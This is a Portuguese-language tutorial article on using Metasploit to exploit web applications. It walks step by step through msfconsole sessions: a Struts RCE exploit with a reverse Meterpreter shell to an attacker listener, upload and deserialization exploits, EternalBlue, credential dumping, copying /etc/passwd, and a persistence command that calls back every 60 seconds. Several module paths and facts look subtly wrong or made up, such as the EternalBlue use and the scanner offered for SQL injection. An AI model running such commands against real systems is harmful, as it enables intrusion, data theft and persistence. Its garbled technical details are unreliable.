Introdução ao Metasploit Framework e Segurança Web
O Metasploit Framework é uma plataforma de teste de penetração amplamente utilizada por profissionais de segurança ofensiva. Diferentemente do que muitos imaginam, não se trata de uma ferramenta mágica que "hackeya tudo sozinha", mas sim de um conjunto estruturado de módulos, exploits e payloads que facilitam a descoberta e validação de vulnerabilidades em sistemas web. Como profissional que trabalha na área há anos, posso afirmar que o domínio dessa ferramenta é fundamental para qualquer pentester sério.
O propósito deste artigo é ensinar você a explorar vulnerabilidades web reais usando Metasploit de forma ética e controlada. Antes de prosseguir, deixo claro: só teste sistemas que você tem permissão explícita para testar. A exploração não autorizada é crime. Dito isso, vamos aos conceitos que transformarão sua compreensão sobre segurança ofensiva.
Fundamentos: Estrutura do Metasploit e Conceitos Essenciais
Arquitetura do Framework
O Metasploit é organizado em componentes bem definidos. No topo, temos a interface (msfconsole, msfweb ou linha de comando). Abaixo, está a engine que orquestra os módulos. Os módulos themselves dividem-se em exploits (código que dispara a vulnerabilidade), payloads (código executado após o exploit funcionar), encoders (camuflam o payload) e auxiliary (ferramentas de varredura e enumeração).
Quando você trabalha com vulnerabilidades web, geralmente está lidando com exploits que exploram falhas em aplicações HTTP/HTTPS — desde injeção SQL até Remote Code Execution (RCE). O fluxo é sempre o mesmo: reconhecer, enumerar, explorar, validar. O Metasploit automatiza essas etapas através de módulos pré-programados que você configura e executa.
Diferença entre Exploit, Payload e Listener
Um exploit é o código que explora uma vulnerabilidade específica. Um payload é o código que será executado na máquina vítima após o exploit funcionar — pode ser uma shell reversa, um bind shell ou até mesmo um carregador de malware. O listener é o servidor que fica aguardando a conexão reversa do payload.
Imagine um exploit para uma aplicação vulnerável a upload de arquivo. O exploit envia um arquivo malicioso que contém seu payload. Quando a aplicação processa o arquivo, o payload executa. Se você configurou um listener na porta 4444, a máquina vítima estabelecerá uma conexão reversa com você, dando-lhe acesso remoto.
Configurando e Utilizando Exploits Web no Metasploit
Instalação e Inicialização
No Linux (recomendo Kali ou partern), instale com:
sudo apt update
sudo apt install metasploit-framework
Inicie o console com:
sudo msfconsole
A primeira inicialização cria um banco de dados. Você verá um prompt msf > indicando que está pronto.
Encontrando Exploits Relevantes
Suponha que você descobriu que um servidor web roda uma versão vulnerável do Apache Struts. Use o comando search para encontrar exploits:
msf > search apache struts
Isso retornará uma lista de módulos relacionados. Você verá algo como:
# Name Disclosure Rank Check Description
- ---- ----------- ---- ----- -----------
0 exploit/webapps/struts2_rest_xstream_rce 2017-09-05 excellent Yes Apache Struts REST Plug-in XStream RCE
1 exploit/webapps/struts2_rce_cve_2016_3081 2016-04-27 excellent Yes Apache Struts 2 RCE
Observe a coluna Rank. Um exploit "excellent" tem alta probabilidade de sucesso; "good" é confiável mas pode falhar em variantes.
Configurando um Exploit Passo a Passo
Vamos explorar uma vulnerabilidade comum: Apache Struts 2 RCE. Primeiro, selecione o exploit:
msf > use exploit/webapps/struts2_rest_xstream_rce
msf exploit(struts2_rest_xstream_rce) >
Agora, visualize as opções necessárias:
msf exploit(struts2_rest_xstream_rce) > show options
Você verá algo assim:
Module options (exploit/webapps/struts2_rest_xstream_rce):
Name Current Setting Required Description
---- ---------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port
TARGETURI / yes The target URI path
LHOST yes The listen address (attacker IP)
LPORT 4444 yes The listen port
Configure os parâmetros obrigatórios:
msf exploit(struts2_rest_xstream_rce) > set RHOSTS 192.168.1.100
RHOSTS => 192.168.1.100
msf exploit(struts2_rest_xstream_rce) > set TARGETURI /example
TARGETURI => /example
msf exploit(struts2_rest_xstream_rce) > set LHOST 192.168.1.50
LHOST => 192.168.1.50
msf exploit(struts2_rest_xstream_rce) > set LPORT 4444
LPORT => 4444
Verifique se o alvo é vulnerável:
msf exploit(struts2_rest_xstream_rce) > check
[+] 192.168.1.100:80 - Vulnerable!
Se retornar "Vulnerable!", prossiga. Caso contrário, talvez a versão não seja a esperada.
Agora, escolha um payload. Listaremos payloads compatíveis:
msf exploit(struts2_rest_xstream_rce) > show payloads
Para obter uma shell reversa interativa, use:
msf exploit(struts2_rest_xstream_rce) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
(Nota: use linux/x86/meterpreter/reverse_tcp se o alvo for Linux)
Finalmente, execute o exploit:
msf exploit(struts2_rest_xstream_rce) > exploit
Se tudo funcionou, você receberá uma sesão Meterpreter:
[*] Sending stage (53902 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.100:54321) at 2024-01-15 14:32:10 +0000
meterpreter >
Explorando Vulnerabilidades Comuns em Aplicações Web
SQL Injection e Enumeração de Banco de Dados
SQL Injection é um dos vetores mais clássicos e ainda prevalentes. O Metasploit possui módulos auxiliary para detectar e explorar essa vulnerabilidade. Considere uma aplicação web vulnerável em http://target.com/search.php?id=1.
Use o módulo scanner:
msf > use auxiliary/scanner/http/dir_scanner
msf auxiliary(dir_scanner) > set RHOSTS target.com
msf auxiliary(dir_scanner) > set RPORT 80
msf auxiliary(dir_scanner) > run
Depois de identificar endpoints vulneráveis, você pode usar ferramentas como sqlmap integrada ao Metasploit ou módulos específicos. Porém, o Metasploit também oferece o módulo exploit/windows/http/localhost_plus para aplicações que usam serialização insegura em Java.
Um exemplo real: se você descobrir uma aplicação Java vulnerável a desserialização, use:
msf > use exploit/multi/misc/java_jmxrmi
msf exploit(java_jmxrmi) > set RHOSTS 192.168.1.100
msf exploit(java_jmxrmi) > set RPORT 9010
msf exploit(java_jmxrmi) > exploit
Remote Code Execution via Upload de Arquivo
Muitas aplicações web permitem upload de arquivos sem validação adequada. O Metasploit possui exploits para casos específicos. Digamos que você encontrou uma aplicação vulnerável a arbitrary file upload:
msf > use exploit/webapps/cms_arbitrary_upload
msf exploit(cms_arbitrary_upload) > set RHOSTS target.com
msf exploit(cms_arbitrary_upload) > set TARGETURI /upload
msf exploit(cms_arbitrary_upload) > exploit
O módulo criará um arquivo malicioso (frequentemente uma shell PHP ou JSP), fará upload e acionará a execução. Você obterá uma shell reversa.
Exploração de Aplicações Desatualizadas
Muitos servidores web ainda rodam versões antigas de softwares populares — WordPress, Joomla, Drupal. O Metasploit tem exploits específicos:
msf > search wordpress 4.9 rce
Isso encontrará exploits para vulnerabilidades conhecidas naquela versão. O processo é idêntico ao explicado antes: use, set RHOSTS, exploit.
Pós-Exploração e Sessões Meterpreter
Operações Básicas em Sessões Ativas
Depois de obter acesso, você está dentro de uma sessão Meterpreter. As operações mais importantes são:
meterpreter > sysinfo
# Mostra informações do sistema (OS, arquitetura, hostname)
meterpreter > getuid
# Mostra qual usuário você é (crítico — root/admin vs usuário comum)
meterpreter > pwd
# Diretório atual
meterpreter > ls
# Lista arquivos
meterpreter > cat arquivo.txt
# Exibe conteúdo de arquivo
Elevação de Privilégio (Privilege Escalation)
Frequentemente, o exploit coloca você como um usuário baixo-privilegiado. Para ganhar acesso total, você precisa elevar privilégios. O Metasploit oferece módulos de escalação:
meterpreter > getsystem
# Tenta elevar automaticamente para SYSTEM (Windows) ou root (Linux)
Se isso falhar, use o módulo auxiliary para procurar vulnerabilidades de escalação:
meterpreter > background
# Coloca a sessão em background
msf > use post/windows/escalate/getsystem
msf post(getsystem) > set SESSION 1
msf post(getsystem) > run
Alternativamente, você pode usar o Metasploit para carregar exploits de escalação conhecidos, como EternalBlue para Windows antigos:
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf exploit(ms17_010_eternalblue) > exploit
Captura de Dados e Movimento Lateral
Uma vez com privilégios elevados, você pode:
- Exfiltrar arquivos:
download /etc/passwd local_copy.txt - Capturar hashes:
hashdump(Windows) ou módulos post para Linux - Persistência:
run persistence -X -i 60 -p 4444 -r 192.168.1.50(garante que voltará a se conectar a cada 60 segundos) - Movimento lateral: Use as credenciais obtidas para acessar outros sistemas na rede
Conclusão
Dominar o Metasploit Framework para exploração web exige compreensão de três pilares: (1) estrutura do framework — exploits, payloads, listeners e como orquestrá-los; (2) enumeração e reconhecimento — saber quais vulnerabilidades procurar antes de executar qualquer exploit, evitando desperdício de tempo e detecção; (3) pós-exploração disciplinada — não é apenas "pegar acesso", mas entender o ambiente, escalar privilégios responsavelmente e documentar tudo para relatórios precisos.
A prática é essencial. Recomendo que monte um laboratório isolado (VMs em seu próprio computador) e execute os passos múltiplas vezes até que se tornem naturais. Lembre-se sempre: a ética é não-negociável. Teste apenas o que é seu ou o que você tem permissão escrita para testar.
Referências
- Documentação Oficial do Metasploit: https://docs.metasploit.com/
- Offensive Security Web Testing: https://www.offsec.com/metasploit/
- OWASP Top 10: https://owasp.org/www-project-top-ten/
- Rapid7 - Exploit Database: https://www.exploit-db.com/
- The Web Application Hacker's Handbook (livro) — Stuttard & Pinto